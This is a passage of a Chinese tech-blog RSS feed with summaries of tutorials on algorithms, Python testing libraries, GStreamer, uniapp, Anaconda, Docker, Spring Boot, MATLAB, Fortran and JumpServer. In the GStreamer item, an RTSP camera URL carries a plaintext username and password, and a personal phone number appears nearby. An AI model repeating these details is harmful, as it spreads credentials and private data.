      <description>目录&#xA;1.基本查找&#xA;2.二分查找&#xA;3.插值查找&#xA;4.斐波那契查找&#xA;5.分块查找&#xA;6.哈希查找&#xA;7.冒泡排序&#xA;8.选择排序&#xA;9.插入排序&#xA;10.递归算法&#xA;11.快速排序&#xA;12.Arrays&#xA;13.lambda表达式&#xA;14.练习：算法题&#xA;1.基本查找 从0索引开始挨个往后查找。&#xA;练习1：&#xA;需求：定义一个方法利用基本查找，查询某个元素在数组中的索引&#xA;要求：不需要考虑数组中的元素是否重复&#xA;public class Test { public static void main(String[] args){ int[]arr={131,127,147,81,103,23,7,79,81}; int num=23; int index=getIndex(arr,num); System.out.println(index); } private static int getIndex(int[]arr,int num) { for (int i = 0; i &amp;lt; arr.length; i++) { if(arr[i]==num){ return i; //存在就返回索引 } } return -1;//不存在就返回-1 } } 练习2：&#xA;需求：定义一个方法利用基本查找，查询某个元素在数组中的索引&#xA;要求：需要考虑数组中元素有重复的可能性{131,127,147,81,103,23,7,79,81}&#xA;要查找81，返回的是所有索引3 8&#xA;import java.util.ArrayList; public class Test { public static void main(String[] args){ int[]arr={131,127,147,81,103,23,7,79,81}; int num=81; ArrayList index=getIndex(arr,num); for (int i = 0; i &amp;lt; index.</description>
    </item>
    <item>
      <title>python 有哪些自动化测试库</title>
      <link>https://bchobby.github.io/posts/0fca5b5ffb70c4a4bf8e611f833e1a44/</link>
      <pubDate>Sat, 04 Feb 2023 13:38:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fca5b5ffb70c4a4bf8e611f833e1a44/</guid>
      <description>python 有哪些自动化测试库 1、Selenium：一个用于Web应用程序测试的工具，可以自动控制浏览器，实现自动化测试。&#xA;2、Robot Framework：用于自动化测试的开源框架，可以用来测试各种应用程序和系统，使用它可以编写简洁易懂的测试用例。&#xA;3、Unittest：Python的标准库，用于单元测试，可以自动运行测试用例，并生成测试报告。&#xA;4、pytest：一个强大的Python测试框架，可以轻松地编写和运行测试用例。&#xA;5、Nose：一个自动化测试框架，可以自动运行测试用例，并生成测试报告。&#xA;6、Splinter：一个用于模拟浏览器行为的库，可以用来实现自动化Web应用程序测试。 继续&#xA;7、Twisted：一个用于网络编程的开源框架，可以用来实现自动化网络应用程序测试。&#xA;8、Appium：一个用于自动化移动应用测试的开源框架，可以用来测试Android和iOS应用程序。&#xA;9、Pywinauto：一个用于自动化Windows应用程序测试的库，可以通过键盘和鼠标模拟用户操作。 10、Parameterized：一个用于参数化测试用例的库，可以简化测试用例的编写，提升测试用例的可重复性。 继续&#xA;11、Fabric：一个用于自动化运维的库，可以用来实现远程命令的执行，从而实现自动化运维任务。 12、Behave：一个基于行为驱动开发的自动化测试框架，可以用来编写易读、易维护的测试用例。 13、Lettuce：一个基于行为驱动开发的自动化测试框架，可以用来编写可读性强的测试用例。&#xA;14、py.test：一个功能强大的自动化测试框架，可以用来编写易维护的测试用例，支持多种测试结果报告。 继续&#xA;15、pyVows：一个基于行为驱动开发的自动化测试框架，可以用来编写简洁、可读性强的测试用例。&#xA;16、Locust：一个用于压力测试的开源框架，可以用来模拟多个客户端同时发送请求，从而检测应用程序的性能。&#xA;17、Mock：一个Python的模拟框架，可以用来替换复杂系统的模块，从而简化测试用例的编写。 18、pytest-bdd：一个基于行为驱动开发的自动化测试框架，可以用来编写可读性强的测试用例。 继续&#xA;19、Sikuli：一个用于自动化图形化界面的库，可以用来实现自动化图形化界面测试。&#xA;20、PyHamcrest：一个用于断言测试结果的库，可以用来编写可读性强的测试用例。 继续&#xA;21、Html-TestRunner：一个用于生成测试报告的库，可以用来跟踪测试结果，并生成可读性强的测试报告。&#xA;22、pytest-xdist：一个用于并行测试的框架，可以用来同时运行多个测试用例，提高测试效率。 23、Taurus：一个基于JMeter的自动化测试框架，可以用来实现负载测试，从而检测应用程序的性能。&#xA;24、Testinfra：一个用于检测基础设施的库，可以用来检测系统的状态，从而实现自动化测试。 继续&#xA;25、PyAutoGUI：一个用于模拟键盘和鼠标操作的库，可以用来实现自动化GUI应用程序测试。 26、PyUnitReport：一个用于生成测试报告的库，可以用来跟踪测试结果，并生成可读性强的测试报告。&#xA;27、pytest-cov：一个用于代码覆盖率测试的框架，可以用来检测代码的覆盖率，从而确保软件质量。&#xA;28、pytest-html：一个用于生成HTML格式测试报告的库，可以用来跟踪测试结果，并生成可读性强的测试报告。&#xA;29、pytest-metadata：一个用于测试元数据管理的框架，可以用来跟踪测试结果，并管理测试元数据。&#xA;30、pytest-pycharm：一个用于PyCharm的测试框架，可以用来跟踪测试结果，并在PyCharm中运行测试用例。&#xA;31、pytest-selenium：一个用于Web应用程序测试的框架，可以用来跟踪测试结果，并实现自 go on 32、pytest-flask：一个用于Flask应用程序测试的框架，可以用来跟踪测试结果，并实现自动化Flask应用程序测试。&#xA;33、pytest-django：一个用于Django应用程序测试的框架，可以用来跟踪测试结果，并实现自动化Django应用程序测试。&#xA;34、pytest-raises：一个用于测试异常的框架，可以用来跟踪测试结果，并检测程序是否抛出指定的异常。&#xA;35、pytest-fixture：一个用于管理测试数据的框架，可以用来定义和管理测试数据，从而简化测试用例的编写。&#xA;36、pytest-parallel：一个用于并行测试的框架，可以用来同时运行多个测试用例，提高测试效率。 37、pytest-capturelog：一个用于跟踪日志的框架，可以用来跟踪日志信息，从而检测应用程序的状态。&#xA;38、pytest-faker：一个用于测试数据生成的框架，可以用来生成测试数据，从而简化测试用例的编写。&#xA;39、pytest-mock：一个用于模拟系统模块的框架，可以用来替换复杂系统的模块，从而简化测试用例的编写。&#xA;40、pytest-pylint：一个用于语法检查的框架，可以用来检测代码的语法错误，从而确保代码的质量。&#xA;41、pytest-watch：一个用于实时监控的框架，可以用来监控文件的变化，从而实现实时测试。 42、pytest-env：一个用于管理测试环境的框架，可以用来管理测试环境，从而简化测试环境的管理。&#xA;43、pytest-cucumber：一个用于行为驱动开发的框架，可以用来编写可读性强的测试用例，从而提高测试效率。&#xA;44、pytest-htmlreport：一个用于生成HTML格式测试报告的框架，可以用来跟踪测试结果，并生成可读性强的测试报告。&#xA;45、pytest-allure：一个用于生成Allure报告的框架，可以用来跟踪测试结果，并生成可读性强的Allure报告。</description>
    </item>
    <item>
      <title>一、Gstreamer动态操作元素</title>
      <link>https://bchobby.github.io/posts/41624093fc7b028994f0a42f34743f4a/</link>
      <pubDate>Sat, 04 Feb 2023 08:42:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41624093fc7b028994f0a42f34743f4a/</guid>
      <description>1 通过gst-launch-1.0大致实现播放与录像 1.1 命令 gst-launch-1.0 rtspsrc location=rtsp://admin:yangquan123@192.168.10.11:554/Streaming/Channels/101 ! \ rtph264depay ! h264parse ! nvv4l2decoder ! \ nvvideoconvert ! &#34;video/x-raw(memory:NVMM),width=1280,height=720,format=I420&#34; ! tee name=t ! \ queue ! nvv4l2h264enc ! h264parse ! qtmux ! filesink location=~/Desktop/file.mp4 t. ! \ queue ! nvegltransform ! nveglglessink window-width=1280 window-height=720 sync=false 播放视频sink一直存在，每隔5秒保存一次录像&#xA;15582303530&#xA;2 更换动态管道中间的某一元素 参考：Changing elements in a pipeline&#xA;这个参考来自于GStreamer官网，示例在管道Playing状态下，更换元素。所有代码在gst-dynamic-manipulation目录下。&#xA;is-live = true，窗口sink sync=false 属性下依然可以稳定操作&#xA;具体操作方法如下：&#xA;阻塞queue的src pad，通过GST_PAD_PROBE_TYPE_BLOCK_DOWNSTREAM监听需要更换元素的src pad，通过GST_PAD_PROBE_TYPE_BLOCK |&#xA;GST_PAD_PROBE_TYPE_EVENT_DOWNSTREAM阻塞回调函数中，给需要更换元素的sink pad发送event事件更换元素的src pad回调函数中进行&#xA;gst_element_set_state (element, GST_STATE_NULL)</description>
    </item>
    <item>
      <title>uniapp(一)</title>
      <link>https://bchobby.github.io/posts/a0dd6a755560d385c922f5087174ed7e/</link>
      <pubDate>Fri, 03 Feb 2023 22:20:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0dd6a755560d385c922f5087174ed7e/</guid>
      <description>一、初识微信小程序 1、什么是微信小程序 微信小程序简称小程序，英文名Mini Program，是一种不需要下载安装即可使用的应用，它实现了应用“触手可及”的梦想，用户扫一扫或搜一下即可打开应用&#xA;小程序是一种新的开放能力，开发者可以快速地开发一个小程序。小程序可以在微信内被便捷地获取和传播，同时具有出色的使用体验&#xA;2、注册小程序 注册微信小程序账号：https://mp.weixin.qq.com/wxopen/waregister?action=step1&#xA;3、获取小程序的AppID 扫码登录后进入小程序管理后台，左侧栏中选择开发&amp;gt;开发管理&amp;gt;开发设置，就能看到AppID(小程序ID)&#xA;4、微信开发者工具 下载地址：https://developers.weixin.qq.com/miniprogram/dev/devtools/download.html&#xA;4、创建小程序项目 5、 查看运行效果 在模拟器上查看项目效果:单击编译按钮即可&#xA;在真机上预览项目效果:单击的预览按钮，然后生成二维码后，使用手机扫描，就可以看到真机的效果了。&#xA;二、uniapp简介 1、uniapp简介 uni-app 是一个使用 Vue.js开发所有前端应用的框架，开发者编写一套代码，可发布到iOS、Android、Web（响应式）、以及各种小程序（微信/支付宝/百度/头条/QQ/钉钉/淘宝）、快应用等多个平台。&#xA;即使不跨端，uni-app同时也是更好的小程序开发框架。&#xA;三、创建和运行uniapp 1、安装HBuilderX uni-app支持通过 可视化界面方式快速创建项目，可视化的方式比较简单，HBuilderX内置相关环境，开箱即用，无需配置nodejs。开始之前，开发者需先下载安装HBuilderX,HBuilderX是通用的前端开发工具，但为uni-app做了特别强化。&#xA;下载地址：https://www.dcloud.io/hbuilderx.html&#xA;下载类型：正式版|windows版|App开发版&#xA;2、创建uniapp项目 在点击工具栏里的文件 -&amp;gt; 新建 -&amp;gt; 项目：&#xA;选择uni-app类型，输入工程名，选择默认模板，选择vue版本，点击创建，即可成功创建。&#xA;3、运行uniapp项目到浏览器上 进入hello-uniapp项目，点击工具栏的运行 -&amp;gt; 运行到浏览器 -&amp;gt; 选择浏览器，即可在浏览器里面体验uni-app 的 H5 版。&#xA;4、在微信开发者工具里运行 进入uni-movies项目，点击工具栏的运行 -&amp;gt; 运行到小程序模拟器 -&amp;gt; 微信开发者工具，即可在微信开发者工具里面体验uni-app&#xA;注意：&#xA;如果是第一次使用&#xA;设置微信开发者工具路径(第一次运行，在运行之前会自动弹框自动设置，如果不是第一次，可以在运行&amp;gt;运行到小程序模拟器&amp;gt;运行设置&amp;gt;运行配置中进行设置)&#xA;需要在微信开发者工具中，设置&amp;gt;安全设置中，开始服务端口&#xA;在manifest.json中设置APPID,否则在微信开发者工具控制台会报错&#xA;5、在Android真机上运行 点击菜单栏&amp;gt;运行&amp;gt;运行到手机或模拟器，第一次需要下载真机插件，下载好之后，后续就会出现运行到Android App基座&#xA;打开手机的开发者选项，允许USB调试，选择USB配置（Audio Source）&#xA;在HBuilder X中检测到Android设备后，如下图所示&#xA;四、项目打包 1、h5打包 登录dcloud账户，在manifest.json的基础配置选项中，点击重新获取uniapp应用标识APPID&#xA;在manifest.json的Web配置选项的运行的基础路径中输入./&#xA;在菜单栏的发行栏目，点击网站-PC或手机H5&#xA;输入网站标题和网站域名，点击发行&#xA;在控制台中生成报表，报告中显示生成的文件在硬盘中的位置，拷贝后上传服务器后部署</description>
    </item>
    <item>
      <title>服务器安装anaconda</title>
      <link>https://bchobby.github.io/posts/0b6b8a6e2a4ca1176bbffd6eb9db5180/</link>
      <pubDate>Fri, 03 Feb 2023 22:17:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b6b8a6e2a4ca1176bbffd6eb9db5180/</guid>
      <description>服务器安装anaconda： 连接服务器之后在cmd或者putty中跑下面的命令 下载安装包注意镜像&#xA;wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-5.3.0-Linux-x86_64.sh 安装，一直yes和回车就好&#xA;chmod +x Anaconda3-5.3.0-Linux-x86_64.sh ./Anaconda3-5.3.0-Linux-x86_64.sh 或者 bash Anaconda3-5.3.0-Linux-x86_64.sh 然后关掉重新打开，在自己的文件夹检查一下是否安装成功&#xA;zcy@amax:/s/e/zcy$ conda -V 如果需要更改anaconda的安装路径： ./Anaconda3-5.3.0-Linux-x86_64.sh跑完这一步，不要继续回车了而是输入想要安装的路径&#xA;然后要配置一下环境变量&#xA;环境变量参考这个：https://blog.csdn.net/Granery/article/details/87265764（有截图）&#xA;https://blog.csdn.net/weixin_43120985/article/details/118163799&#xA;vim编辑文件操作：&#xA;https://www.jianshu.com/p/0c45be85ae2c&#xA;最后退出重新打开终端，进入自己的文件夹目录下，输入anaconda -V（注意a要小写，V要大写），conda -V ,显示版本信息，若显示则表示安装成功。 Vscode连接远程服务器&#xA;https://www.php.cn/tool/vscode/497482.html#:~:text=%EF%BC%88%E5%9B%BE%E6%96%87%E6%95%99%E7%A8%8B%EF%BC%89%201%201%E3%80%81%E4%B8%8B%E8%BD%BDvscode%20%E7%99%BE%E5%BA%A6%E6%90%9C%E7%B4%A2vscode%EF%BC%88%E6%B3%A8%E6%84%8F%E4%B8%8D%E6%98%AFvisual%20studio%EF%BC%89%EF%BC%8C%E8%BF%9B%E5%85%A5vscode%E5%AE%98%E7%BD%91%E8%BF%9B%E8%A1%8C%E4%B8%8B%E8%BD%BD%E3%80%82%202%202%E3%80%81%E5%AE%89%E8%A3%85ssh%E6%8F%92%E4%BB%B6%20%E6%A0%B9%E6%8D%AE%E4%BD%A0%E7%9A%84%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E9%80%89%E6%8B%A9%E5%AF%B9%E5%BA%94%E7%9A%84%E7%89%88%E6%9C%AC%E8%BF%9B%E8%A1%8C%E4%B8%8B%E8%BD%BD%E5%92%8C%E5%AE%89%E8%A3%85%E3%80%82,Current%20Window%3A%20…%205%205%E3%80%81%E5%9F%BA%E6%9C%AC%E6%93%8D%E4%BD%9C%20%E4%BE%8B%E5%A6%82%E6%88%91%E7%82%B9%E5%87%BBOpen%20Folder%EF%BC%8C%E8%BF%99%E9%87%8C%E5%B0%B1%E4%BC%9A%E8%AE%A9%E4%BD%A0%E9%80%89%E6%8B%A9%E6%89%93%E5%BC%80%E7%9A%84%E6%96%87%E4%BB%B6%E7%9B%AE%E5%BD%95%EF%BC%9A%20&#xA;vscode 运行jupyter包括debug、view数据之类的&#xA;vscode里运行jupyter的话要提前在对应虚拟环境下安装ipykernel&#xA;zcy@amax:~$ cd …&#xA;zcy@amax:/home$ cd …&#xA;zcy@amax:/$ cd s/e/zcy&#xA;zcy@amax:/s/e/zcy$ source activate DESC&#xA;(DESC) zcy@amax:/s/e/zcy$ conda install ipykernel&#xA;出现这种问题，是镜像的网址设置错误&#xA;conda config --add channels http://mirrors.tuna.tsingh ua.edu.cn/anaconda/pkgs/main/&#xA;注： 一定是http而不是https&#xA;VS code jupyter不显示图片 VS code jupyter不显示图片&#xA;在vs code里安装插件就好</description>
    </item>
    <item>
      <title>python安装完虚拟环境后导入tensorflow报错/import keras报错</title>
      <link>https://bchobby.github.io/posts/36f5fa25b3692d1de2ec133fee309603/</link>
      <pubDate>Fri, 03 Feb 2023 21:36:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36f5fa25b3692d1de2ec133fee309603/</guid>
      <description>我搜了大半天，最后的有效方法是：&#xA;降低numpy的版本，好像1.24.0版有很多问题。解决深度学习中Numpy版本不兼容问题&#xA;后面我的还是报错，缺少dll文件，发现自己没安装cuda和cudnn。看c盘的program files文件夹下是否有NVIDA GPU computing toolkit文件夹，如果没有，可以安装下面这个教程一步步安装。&#xA;Cuda和cuDNN安装教程(超级详细)&#xA;最后导入tensorflow成功，但是导入keras还是有问题。&#xA;好像是新版该规则了，换一下写法就行&#xA;以前的这种写法换成&#xA;总算没有报错了。</description>
    </item>
    <item>
      <title>分享113个图片切换JS特效，总有一款适合您</title>
      <link>https://bchobby.github.io/posts/5b30b32c1d45b2365e8d5cf9840e7220/</link>
      <pubDate>Fri, 03 Feb 2023 21:21:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b30b32c1d45b2365e8d5cf9840e7220/</guid>
      <description>分享113个图片切换JS特效，总有一款适合您&#xA;113个图片切换JS特效下载链接：https://pan.baidu.com/s/1NNSP-DMf3n0PeNbdNd8jEg?pwd=sfwr 提取码：sfwr&#xA;Python采集代码下载链接：https://wwgn.lanzoul.com/iKGwb0kye3wj&#xA;jQuery中间大图两侧小图模糊特效&#xA;Material Design风格内容幻灯片代码&#xA;jQuery带视觉差效果幻灯片代码&#xA;jQuery鼠标悬停横向大图展示特效&#xA;jQuery带聚焦效果图片切换代码&#xA;jQuery仿Facebook图片画廊代码&#xA;jQuery带文字动画图片轮播代码&#xA;JS+CSS3制作3D翻转式幻灯片代码&#xA;原生js简约风格轮播图切换代码&#xA;jQuery网站主页图片切换代码&#xA;jQuery轻量级京东图片轮播代码&#xA;jQuery爱奇艺广告图片切换代码&#xA;原生js渐变滑动切换焦点图代码&#xA;jQuery多种切片过渡动画幻灯片代码&#xA;jQuery焦点图插件edslider&#xA;jQuery游戏人物轮播展示切换代码&#xA;jQuery带音效旋转式切换幻灯片&#xA;jQuery五屏轮播手风琴代码&#xA;jQuery迅雷首页全屏图片切换代码&#xA;import os import shutil import time from time import sleep from docx import Document from docx.shared import Inches from framework.base.BaseFrame import BaseFrame from sprider.business.SeleniumTools import SeleniumTools from sprider.business.SpriderTools import SpriderTools from selenium import webdriver from selenium.webdriver.common.by import By from sprider.model.SpriderEntity import SpriderEntity from sprider.access.SpriderAccess import SpriderAccess class ChinaZJsSelenium: base_url = &#34;</description>
    </item>
    <item>
      <title>springboot 拦截器</title>
      <link>https://bchobby.github.io/posts/5da97ac9e043aff011529676532a2701/</link>
      <pubDate>Fri, 03 Feb 2023 18:49:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5da97ac9e043aff011529676532a2701/</guid>
      <description>在 Spring Boot 项目中，使用拦截器功能通常需要以下 3 步：&#xA;定义拦截器；&#xA;注册拦截器；&#xA;指定拦截规则（如果是拦截所有，静态资源也会被拦截）。&#xA;第一步：自定义拦截器&#xA;package com.cy.store.interceptor;&#xA;import org.springframework.web.servlet.HandlerInterceptor;&#xA;import javax.servlet.http.HttpServletRequest;&#xA;import javax.servlet.http.HttpServletResponse;&#xA;public class LoginInterceptor implements HandlerInterceptor {&#xA;/**&#xA;* 检测全局session对象中是否有uid数据，如果有则放行，如果没有重定向到登录页面&#xA;* @param request 请求对象&#xA;* @param response 响应对象&#xA;* @param handler 处理器（url+controllor：映射）&#xA;* @return 如果返回值true 放行 如果是false则表示拦截，重定向到登录页面&#xA;* @throws Exception&#xA;*/&#xA;@Override&#xA;public boolean preHandle(HttpServletRequest request,&#xA;HttpServletResponse response,&#xA;Object handler) throws Exception {&#xA;// HttpServletRequest对象获取session对象&#xA;Object obj = request.getSession().getAttribute(&#34;uid&#34;);&#xA;if(obj == null){</description>
    </item>
    <item>
      <title>MATLAB入门——线性规划、非线性规划、多目标规划</title>
      <link>https://bchobby.github.io/posts/eeb1aed635c07c83f541c96154a91daa/</link>
      <pubDate>Fri, 03 Feb 2023 17:37:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eeb1aed635c07c83f541c96154a91daa/</guid>
      <description>4-1 线性规划_哔哩哔哩_bilibili&#xA;4-2 非线性规划_哔哩哔哩_bilibili&#xA;4-3 多目标规划_哔哩哔哩_bilibili&#xA;1.线性规划 有限条件下，最大收益&#xA;1. 例题 例题：张麻子既要攻碉楼又要追替身，他们一伙6人，总共1200发子弹;每有一人攻确楼会给百姓带来40点士气值，每有一人追替身会给百姓带来30点士气值;攻碉楼每人需240发子弹，追替身每人需120发。4问攻碉楼和追替身各派几个人，能使百姓的士气值最大？&#xA;解：&#xA;设派人攻碉楼，排人追替身，百姓士气值为y；&#xA;士气值最大:max 总共6人：;&#xA;既要攻碉楼又要追替身：&#xA;子弹有限：则&#xA;2. 代码实现 2.1 Linprog函数 模型化为matlab标准型：目标函数最小值、约束条件小于等于号或等号；（如果求最大值，约束条件有大于等于——&amp;gt;求最小值后求反）&#xA;[x,fval]=linprog(f,A,b,Aeq,beq,lb,ub) x返回最优解的变量取值，fval返回目标函数的最优值； 2.非线性规划 线性规划：所有变量都是一次方；非线性规划：至少一个变量不是一次方； 2.1 代码实现 函数求解：&#xA;[x,fval]=fmincon(fun,x0,A,b,Aeq,beq,lb,ub,nonlcon)x得到决策变量取值，fval得到最优解取值 本题：设好后fun和nonlcon函数文件以及其他参数后，执行：&#xA;[x,y]=fmincon(&#39;fun1&#39;,[0;0;0],[],[],[],[],[0;0;0],[],&#39;fun2&#39;)&#xA;3.多目标规划 3.1 例题 3.2 概念 需要衡量每个目标的完成情况，并主观上区分三个目标的重要性,使得整体的完成情况尽量好&#xA;引入三个概念:正负偏差，绝对约束和目标约束,优先因子&#xA;3.2.1 绝对约束和目标约束 绝对约束是模型中自带的约束条件，必须满足，否则是不可行解例如，使用材料的数量不能超过总共数量 3.2.2 目标约束 目标约束是模型中对不等式右端追求的值允许有偏差目标3:尽可能使利润不少于56万，也就是，但允许有偏差这个“偏差”就是加入正负偏差变量，变成: 3.2.3 优先因子 1.尽量使产品I的产量不超过产品II的产量; 2.尽可能充分利用所有设备; 3.尽可能使利润不少于56万&#xA;这三者到底哪个重要?需要主观上确定优先因子。&#xA;例如，我认为目标3最重要，给他优先因子是10;目标2第二重要，给他优先因子5; 目标1第三重要，给它优先因子是1。那么三个目标重要性之比是10: 5: 1&#xA;第一目标要求不超过目标值，一位置正偏差变量越小越好&#xA;3.3 解题 需要衡量每个目标的完成情况，并主观上区分三个目标的重要性，使得整体的完成情况尽量好&#xA;把所有的目标约束都加上变成灯饰（注意，绝对约束也可以这样做变成等式，视情况而定）按照需求，主观确定确定优先因子 得到多目标规划模型：&#xA;求解方法：fgoalattain函数；或序贯算法；或用Lingo求解</description>
    </item>
    <item>
      <title>Fortran编程快速入门</title>
      <link>https://bchobby.github.io/posts/6b666dbbb6dc6996454aeac9bbad112a/</link>
      <pubDate>Fri, 03 Feb 2023 17:29:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b666dbbb6dc6996454aeac9bbad112a/</guid>
      <description>Fortran编程快速入门 1. 简介1.1 FORTRAN语言发展概况1.2 Fortran77和Fortran90的区别1.3 Fortran和C/C++等大多数语言的不同1.4 简单的 Fortran 程序分析1.5 FORTRAN 源程序的书写格式1.6 编译环境配置 2. Fortran数据类型和变量2.1 数据类型2.2 变量2.2.1 命名规则2.2.2 隐含约定（I～N 规则）2.2.3 IMPLICIT 语句（隐式说明语句）2.2.4 变量声明语法 2.4 第一个Fortran程序 3. 程序编译3.1 Fortran - Basic 语法3.2 Fortran变量用法实列3.3 Fortran - 常量3.3.1 例子 (Example) 3.4 Fortran - 运算符3.4.1 算术运算符 (Arithmetic Operators)3.4.1.1 例子 (Example) 3.4.2 关系运算符 (Relational Operators)3.4.3 逻辑运算符 (Logical Operators)3.4.3.1 例子 (Example) 3.4.4 Fortran中的运算符优先级3.4.4.1 例子 (Example) 1. 简介 大气、地球物理很多经典模型都提供了Fortran77源码，为了使用这些模型，学习Fortran77编程是有必要的。&#xA;1.1 FORTRAN语言发展概况 （1）适用于工程及科学计算的一种高级程序设计语言&#xA;（2）1951年由约翰·贝克斯等人开始研究Fortran语言；&#xA;（3）1957年第一个Fortran程序在IBM704机上运行；&#xA;（4）1958和1962年先后推出FortranⅡ和FortranⅣ；&#xA;（5）1966和1978年先后颁布Fortran66&#xA;1.2 Fortran77和Fortran90的区别 Fortran奠定了高级语言发展的基础。Fortran的主要版本及差别按其发展历史，Fortran编译器的版本其实很多。现在在广泛使用的是Fortran77和Fortran90（另外，现在还有95、2003和2008版本）。Fortran77和Fortran90的区别：</description>
    </item>
    <item>
      <title>怎么把图片变清晰？图片变清晰的方法分享.</title>
      <link>https://bchobby.github.io/posts/7d5167181e349dbf425e87b46a80e8f5/</link>
      <pubDate>Fri, 03 Feb 2023 17:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d5167181e349dbf425e87b46a80e8f5/</guid>
      <description>怎么把图片变清晰？每个人都有这样的回忆，即在旅游过程中拍摄了很多美好的照片，但是由于技术原因，照片中的人脸变得模糊不清，那么这时候多数小伙伴的选择就是将照片进行删除，其实我们对于模糊照片也是可以修复的而且还有可能变的更加好看，小伙伴们是不是不相信，只需要我们借助下面几款软件，即可进行模糊软件的修复！​&#xA;软件推荐一：智能修复老照​&#xA;这是一个专业的图片处理工具，其中的人脸修复功能，是通过利用智能算法来识别照片中的人脸，并使用图像处理技术使其变得清晰，通过使用该功能，用户可以将原本模糊不清的照片变得更加生动，从而更好地记录并回忆旅游的点滴。同时，修复后的照片可以更好地展示人物的细节，从而更好地展现旅游的美景。​&#xA;软件推荐二：Fotor​&#xA;Fotor是一款在线图像处理工具，提供了丰富的图片编辑功能，可以帮助用户修复模糊照片、美化照片、设计海报、制作卡片等，Fotor拥有简单易用的界面，并提供了丰富的素材库，方便用户进行图片处理​&#xA;软件推荐三：BeFunky​&#xA;BeFunky是一个图片编辑网站，它提供了各种工具，例如图片编辑、设计创作、图像滤镜等，当然修复模糊照片也是可以的，而且该网站提供了简单易用的界面，用户不需要具备专业的图像处理知识即可轻松完成图片的编辑和修饰。​&#xA;那么今天推荐的工具和网站就到这里了，觉得好用的小伙伴记得给小编点赞关注哦！​</description>
    </item>
    <item>
      <title>anolis8.6QU1 docker 安装</title>
      <link>https://bchobby.github.io/posts/3f034f12c0cbc857dc2c6571fb4db44a/</link>
      <pubDate>Fri, 03 Feb 2023 17:13:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f034f12c0cbc857dc2c6571fb4db44a/</guid>
      <description>一，切换用户&#xA;切换成root 用户命令：su root&#xA;二，执行yum 安装命令&#xA;yum install -y yum-utils device-mapper-persistent-data lvm2 三，更新一下镜像源&#xA;sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 四，安装docker&#xA;yum install docker-ce 这个命令需要等一段时间，时间较长。 碰到y/n ，选y&#xA;四，查看docker 是否安装完成&#xA;执行 docker version 命令&#xA;五，启动docker systemctl start docker 六，运行docker 命令&#xA;执行docker 命令，代表成功！&#xA;1,docker images 2,docker pull centos:7 执行完上面的命令后，再次执行docker images 命令查询镜像，成功！</description>
    </item>
    <item>
      <title>JumpServer 常见问题处理</title>
      <link>https://bchobby.github.io/posts/1fc8e1ce7e61b1286da8e58b303f58c8/</link>
      <pubDate>Fri, 03 Feb 2023 16:21:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fc8e1ce7e61b1286da8e58b303f58c8/</guid>
      <description>官网地址：JumpServer - 开源堡垒机 - 官网&#xA;在线电话：400-052-0755&#xA;技术支持：JumpServer 技术咨询&#xA;1 概述 本篇文章主要说明使用JumpServer堡垒机时遇到的各种小问题，这些可能是操作不当、系统环境、资产环境等各类原因导致的。本文划分了几个篇章，对常见问题进行整理总结，希望能对使用者快速定位、处理问题提供帮助。&#xA;2 前端页面 2.1 登陆堡垒机 2.1.1 设置你的浏览器支持cookie&#xA;问题现象：&#xA;登陆堡垒机时页面提示“设置你的浏览器支持cookie”。&#xA;问题原因：&#xA;页面缓存问题。&#xA;解决方案：&#xA;清空缓存，重新打开浏览器，地址栏只填域名不加后缀，重新进入页面再次填写账号&amp;amp;Password即可。&#xA;2.1.2 IP已被锁定&#xA;问题现象：&#xA;登陆堡垒机时页面提示“IP已被锁定”。&#xA;问题原因：&#xA;系统管理员设置了登陆黑名单，由于某些原因你的IP属于黑名单里的，一般通过互联网登陆时会出现这种问题。&#xA;解决方案：&#xA;联系系统管理员打开&amp;lt;系统设置&amp;gt;&amp;lt;安全设置&amp;gt;&amp;lt;登录限制&amp;gt;，将你的IP添加进&amp;lt;IP登陆白名单&amp;gt;。&#xA;2.1.3 server error occur，contact administrator&#xA;问题现象：&#xA;登陆堡垒机时页面提示“server error occur，contact administrator”。&#xA;问题原因：&#xA;一般启用了外部的身份认证系统时会出现该报错，如 LDAP、OpenID等。可能的原因有，LDAP 服务连接失败，OpenID 认证连接失败。也可能跟数据库有关。&#xA;解决方案：&#xA;后台查看 jumpserver.log 根据报错原因进行处理。&#xA;常见报错有无法连接到认证端，该用户的邮箱与其他用户相同。&#xA;2.1.4 虚拟 MFA 验证码错误&#xA;问题现象：&#xA;登陆堡垒机时页面提示“虚拟 MFA 验证码错误，或者服务器端时间不对，您还可以尝试 6 次（账号将被临时锁定 30 分钟）”。&#xA;问题原因：&#xA;一般是验证码输入错误，或者JumpServer服务器时间不对导致的。&#xA;解决方案：&#xA;确认验证码输入正确，去后台检查系统时间，使用 ntpdate -u ntp.</description>
    </item>
    <item>
      <title>如何构建一个自定义huggingface dataset数据集？</title>
      <link>https://bchobby.github.io/posts/fb4bcb6fa1bd6bff42588a1d45b04e3f/</link>
      <pubDate>Fri, 03 Feb 2023 15:13:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb4bcb6fa1bd6bff42588a1d45b04e3f/</guid>
